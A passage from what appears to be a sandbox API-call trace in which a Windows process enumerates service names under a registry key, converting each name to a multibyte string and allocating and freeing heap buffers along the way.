cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0259.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.732] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.732] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.732] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.732] RegEnumKeyW (in: hKey=0x160, dwIndex=0x28, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0259.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0259.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.732] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.732] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.732] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.732] RegEnumKeyW (in: hKey=0x160, dwIndex=0x29, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0259.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0259.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.733] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.733] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.733] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.733] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BattC") returned 0x0 [0259.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x1de4720, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0259.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.733] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.733] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.733] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.733] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0259.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x1de4de0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0259.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.733] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.733] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.733] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.733] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Beep") returned 0x0 [0259.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x1de4720, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0259.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.733] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.733] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.733] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.733] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BFE") returned 0x0 [0259.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1de4de0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0259.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.734] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.734] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.734] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.734] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BITS") returned 0x0 [0259.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1de4720, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0259.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.734] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.734] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.734] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.734] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0259.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0259.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.734] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.734] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.734] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.734] RegEnumKeyW (in: hKey=0x160, dwIndex=0x30, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bowser") returned 0x0 [0259.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x1de4720, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0259.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.734] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.734] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.734] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.735] RegEnumKeyW (in: hKey=0x160, dwIndex=0x31, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0259.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0259.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.735] RegEnumKeyW (in: hKey=0x160, dwIndex=0x32, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0259.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0259.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.735] RegEnumKeyW (in: hKey=0x160, dwIndex=0x33, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Browser") returned 0x0 [0259.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1de4de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0259.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.735] RegEnumKeyW (in: hKey=0x160, dwIndex=0x34, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0259.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0259.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.736] RegEnumKeyW (in: hKey=0x160, dwIndex=0x35, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0259.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0259.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.736] RegEnumKeyW (in: hKey=0x160, dwIndex=0x36, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0259.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0259.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.736] RegEnumKeyW (in: hKey=0x160, dwIndex=0x37, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0259.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0259.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.736] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.736] RegEnumKeyW (in: hKey=0x160, dwIndex=0x38, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0259.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0259.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.737] RegEnumKeyW (in: hKey=0x160, dwIndex=0x39, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0259.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x1de4de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0259.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.737] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0259.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0259.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.737] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0259.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x1de4de0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0259.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.737] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.737] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0259.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) 